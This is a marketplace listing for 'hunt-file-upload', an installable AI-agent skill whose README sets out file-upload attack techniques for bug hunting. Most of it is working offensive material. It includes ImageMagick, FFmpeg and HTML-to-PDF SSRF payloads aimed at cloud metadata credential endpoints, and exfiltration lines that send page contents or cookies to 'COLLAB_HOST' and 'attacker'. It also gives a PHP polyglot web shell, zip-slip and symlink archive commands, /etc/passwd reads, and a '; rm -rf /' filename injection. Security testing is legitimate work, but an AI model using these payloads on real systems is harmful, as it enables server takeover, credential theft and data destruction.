mcpField
H
hunt-file-upload

hunt-file-upload

github.com/uphiagoSecurity1.3k41 installsUpdated 8w ago
Repository

About hunt-file-upload

hunt-file-upload is a security-testing skill for assessing file upload features. It organizes bypass patterns, processing attacks, validation checks, and impact-focused pitfalls for security researchers.

Key features

  1. 01Extension, MIME, and magic-byte bypass checks
  2. 02SVG, Office, and archive attack patterns
  3. 03ImageMagick, FFmpeg, and PDF SSRF cases
  4. 04Upload exploit validation and pitfalls

Use cases

  1. 01Assessing server-side upload validation
  2. 02Testing image and document processing pipelines
  3. 03Checking archive extraction for path traversal

Install

Copy the command and run it in a terminal.

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-file-upload

After installing, type/hunt-file-uploadin Claude Code to confirm it loaded.

Details

From the project README

Content-Type & Extension Bypass

Content-Type Bypass
filename=shell.php, Content-Type: image/jpeg  → server trusts Content-Type
filename=shell.phtml, shell.pHp, shell.php5   → extension variants
File Upload Bypass Techniques (10 techniques)
AttackHowPrevention
Extension bypassshell.php.jpg, shell.pHp, shell.php5Allowlist + extract final extension
Null byteshell.php%00.jpgSanitize null bytes
Double extensionshell.jpg.phpOnly allow single extension
MIME spoofContent-Type: image/jpeg with .php bodyValidate magic bytes, not MIME header
Magic bytes prefixPrepend GIF89a; to PHP codeParse whole file, not just header
PolyglotValid as JPEG and PHPProcess as image lib, reject if invalid
SVG JavaScript<svg onload="...">Sanitize SVG or disallow entirely
XXE in DOCXMalicious XML in Office ZIPDisable external entities
ZIP slip../../../etc/passwd in archiveValidate extracted paths
Filename injection; rm -rf / in filenameSanitize + use UUID names
Magic Bytes Reference
TypeHex
JPEGFF D8 FF
PNG89 50 4E 47 0D 0A 1A 0A
GIF47 49 46 38
PDF25 50 44 46
ZIP/DOCX/XLSX50 4B 03 04
Stored XSS via SVG
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.domain)</script>
</svg>

ImageMagick / FFmpeg Exploitation

ImageMagick SSRF / File Read (ImageTragick family + modern variants)
# Upload this as a .mvg or rename to .jpg/.png (magic bytes bypass)
# MVG SSRF payload — fetches internal URL during processing
cat > /tmp/ssrf.mvg << 'EOF'
push graphic-context
viewbox 0 0 640 480
fill 'url(http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/)'
pop graphic-context
EOF

# SVG SSRF (ImageMagick processes SVG remotely)
cat > /tmp/ssrf.svg << 'EOF'
<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://[REDACTED_IP]/latest/meta-data/">]>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="http://COLLAB_HOST/imagemagick-ssrf" width="200" height="200"/>
</svg>
EOF

# WebP/AVIF processing bugs (modern surface — CVE-2023-4863)
# Upload a crafted WebP file targeting libwebp heap overflow
# Use: https://github.com/mistymntncop/CVE-2023-4863 PoC
FFmpeg SSRF via HLS Playlist
# FFmpeg processes m3u8 playlists and fetches referenced segments
cat > /tmp/ssrf.m3u8 << 'EOF'
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/
#EXT-X-ENDLIST
EOF

# Also works with concat demuxer
cat > /tmp/concat.txt << 'EOF'
ffconcat version 1.0
file 'http://COLLAB_HOST/ffmpeg-ssrf'
EOF

# Test: upload .m3u8 or video file to any video processing endpoint

Headless Chrome / PDF Generator SSRF

HTML → PDF Converter Attacks
# Target: invoice generators, report exporters, screenshot services
# Inject HTML that causes headless Chrome to fetch internal resources

# SSRF via CSS import
PAYLOAD='<html><head><style>@import url("http://[REDACTED_IP]/latest/meta-data/");</style></head><body>test</body></html>'

# SSRF via HTML iframe
PAYLOAD='<html><body><iframe src="http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/" width="1000" height="1000"></iframe></body></html>'

# Local file read
PAYLOAD='<html><body><iframe src="file:///etc/passwd" width="1000" height="1000"></iframe></body></html>'

# JavaScript execution (if sandbox not enforced)
PAYLOAD='<html><body><script>
fetch("http://COLLAB_HOST/chrome-rce?d=" + encodeURIComponent(document.documentElement.innerHTML));
</script></body></html>'

# Test: submit HTML to any /generate-pdf, /export, /screenshot, /report endpoint
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/generate-pdf" \
  -H "Content-Type: application/json" \
  -d "{\"html\": \"$PAYLOAD\"}"

Archive Extraction Attacks (Zip Slip / Symlink)

# Zip Slip — path traversal via archive filenames
pip3 install evilarc
python3 evilarc.py shell.php -o unix -p "../../../var/www/html/" -d 5 -f /tmp/zipslip.zip

# Symlink attack — archive contains symlink to sensitive file
mkdir -p /tmp/sym_attack
ln -s /etc/passwd /tmp/sym_attack/innocent.txt
zip -ry /tmp/symlink.zip /tmp/sym_attack/

# TAR symlink attack
tar --create --file=/tmp/symlink.tar --dereference /tmp/sym_attack/

# Test: upload to any /import, /extract, /unzip endpoint
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/import" \
  -F "file=@/tmp/zipslip.zip"

Verification

Run this self-test to confirm file-upload hunting readiness:

  1. Skill integrity — confirm the skill file is readable and well-formed:

    grep -q "name: hunt-file-upload" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
    grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
    
  2. Category check — confirm the skill has a category:

    grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
    
  3. Pitfalls section — confirm pitfalls are documented:

    grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
    

All 3 tests verify the skill is properly structured and ready for use.


Pitfalls

  • Upload without execution — uploading a .php file to a directory that serves it as text/plain is not RCE. Need code execution, not just file storage.
  • SVG XSS without same-origin rendering — SVG uploaded to a different origin may not execute scripts due to CSP or same-origin policy. Test in the actual rendering context.
  • Extension blacklist bypass without server-side validation — bypassing client-side extension check proves nothing. Always test server-side acceptance.
  • Content-Type spoofing — changing Content-Type header doesn't change how the server processes the file. Need to confirm server-side MIME confusion.
  • Path traversal in filename — ../../../etc/passwd in filename is path traversal, not upload exploit. Distinguish the two.

Related Skills & Chains

  • hunt-rce — File upload is the most common path to RCE on classic PHP/JSP/ASPX stacks once you find a directly-served upload directory or a deserializer-fed processor. Chain primitive: polyglot GIF89a;<?php system($_GET['c']);?> bypasses magic-byte check + .phtml extension bypasses allowlist → GET /uploads/shell.phtml?c=id → RCE; or PHP phar:// upload to a sink calling file_exists() on the attacker-controlled path → PHP object deserialization → RCE.
  • hunt-xxe — Office formats (DOCX/XLSX/PPTX), SVGs, and SOAP attachments are XML inside a ZIP — every upload-and-parse feature is a latent XXE candidate. Chain primitive: upload DOCX whose [Content_Types].xml or word/document.xml includes a parameter-entity DTD pointing at attacker-controlled DTD → blind XXE OOB file read → exfil /etc/passwd or web.config via the document parser.
  • hunt-xss — SVGs, HTML files, and PDFs uploaded then served on the same origin are stored-XSS factories. Chain primitive: upload SVG with <script>fetch('//attacker/?'+document.cookie)</script> → victim views attachment at app.target.com/uploads/x.svg (same origin, not sandboxed) → cookie theft → ATO via session hijack.
  • hunt-ssrf — Image-processing libraries (ImageMagick, ffmpeg) fetch remote URLs from inside the uploaded file. Chain primitive: upload an SVG/MVG with <image xlink:href="http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/"> or ffmpeg concat:http://internal/... → SSRF to AWS IMDS → cloud creds; the ImageTragick CVE-2016-3714 family is still alive on legacy farms.
  • security-arsenal — Reach for the file-upload bypass tree: 10-row extension/MIME/magic-byte bypass table (double-ext, null-byte, case variants, .phtml/.phar/.php5/.pht, .htaccess upload to re-enable handlers, web.config upload on IIS), SVG/MVG/SVGZ payloads, DOCX-XXE templates, ZIP-slip path traversal in archives, polyglot generators.
  • triage-validation — Apply the Reproducibility Gate. A file successfully uploaded but never served, never executed, never parsed by anything is not a finding — it's a write-only blob. Critical RCE requires the actual whoami round-trip from the uploaded shell; stored XSS requires the popup firing in a victim browser, not just the file existing on disk.
Phase X — Processing Race & CDN Cache Poisoning

Processing race: upload benign file → processor validates OK → attacker overwrites with malicious file before serving. CDN cache poisoning via upload headers: force Cache-Control: public, max-age=31536000 + Content-Type: text/html on an uploaded image. Zip Slip: create archive with ../../../var/www/html/shell.php path traversal entry.

Comments

Markdown supported